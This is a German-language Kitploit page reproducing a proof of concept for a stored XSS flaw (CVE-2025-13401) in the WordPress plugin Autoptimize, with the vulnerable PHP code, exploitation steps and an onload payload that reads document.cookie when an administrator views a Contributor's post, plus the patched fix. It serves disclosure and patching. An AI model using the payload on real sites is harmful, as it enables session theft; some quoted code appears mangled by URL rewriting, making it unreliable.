Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-13401-XSS-Stored | Kitploit
Tools/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Proof of Concept: Gespeichertes XSS in Autoptimize < 3.1.14

Schwachstelle: Authentifiziertes (Contributor+) gespeichertes Cross-Site Scripting (XSS) Betroffene Version: Autoptimize <= 3.1.13 Gepatchte Version: Autoptimize 3.1.14 Datei: classes/autoptimizeImages.php

Beschreibung

Die Schwachstelle besteht in der Methode create_img_preload_tag() innerhalb von classes/autoptimizeImages.php. Diese Funktion ist dafür verantwortlich, <link rel="preload">-Tags für Bilder zu erzeugen, die im Inhalt gefunden werden, wenn Bildoptimierung oder Preloading aktiviert ist.

In Version 3.1.13 verwendet die Funktion einen „Blacklist“-Ansatz (über preg_replace), um bestimmte Attribute wie title, alt, class, id, width und height aus dem ursprünglichen ``-Tag zu entfernen, bevor es in ein <link>-Tag umgewandelt wird. Sie entfernt jedoch keine Event-Handler-Attribute wie onload oder onerror.

Ein authentifizierter Angreifer (mit mindestens der Rolle Contributor) kann ein schadhaftes ``-Tag in einem Beitrag platzieren. Wenn das Plugin diesen Beitrag verarbeitet, um Preload-Links zu erzeugen, bleibt der schadhafte Event-Handler erhalten und wird in den <head> der Seite innerhalb eines <link>-Tags eingefügt. Da <link rel="preload"> das onload-Ereignis unterstützt, wird das JavaScript ausgeführt, sobald die Ressource geladen wird.

Verwundbarer Code (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

Proof-of-Concept-Schritte

Voraussetzungen

  1. Installiere Autoptimize-Version 3.1.13.
  2. Aktiviere „Optimize Images“ oder stelle sicher, dass das Preloading von Bildern aktiv ist (z. B. über „Preload specific requests“ oder Standardverhalten, das auf Bilder wirkt).
    • Hinweis: Die verwundbare Funktion create_img_preload_tag wird häufig für Bilder ausgelöst, die im Viewport erkannt oder explizit vorgeladen werden.

Payload

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

Ausnutzung

  1. Melde dich als Benutzer mit der Rolle Contributor (oder höher) an.
  2. Erstelle einen neuen Beitrag.
  3. Füge den Payload in den Beitragsinhalt ein (über den Custom-HTML-Block oder den Code-Editor).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (Die Verwendung einer lokalen Ressource stellt oft sicher, dass das Ladeereignis schnell ausgelöst wird. Jede gültige Bild-URL funktioniert.)
  4. Speichere den Beitrag.
  5. Warte, bis ein Administrator den Beitrag ansieht (oder sieh ihn dir selbst an).
  6. Das Autoptimize-Plugin wird das ``-Tag parsen.
  7. Es wird einen Preload-Link im HTML-Quelltext erzeugen:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    Hinweis: Die Attribute width, height usw. können entfernt werden, aber onload bleibt erhalten.
  8. Der Browser parst das <link>-Tag, lädt die Ressource vor und löst das onload-Ereignis aus, wodurch das XSS ausgeführt wird.

Fix in v3.1.14

Der Patch ersetzt den Blacklist-Regex durch wp_kses(), wodurch eine strikte Whitelist der zulässigen Attribute für das erzeugte <link>-Tag ermöglicht wird.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
Tool herunterladen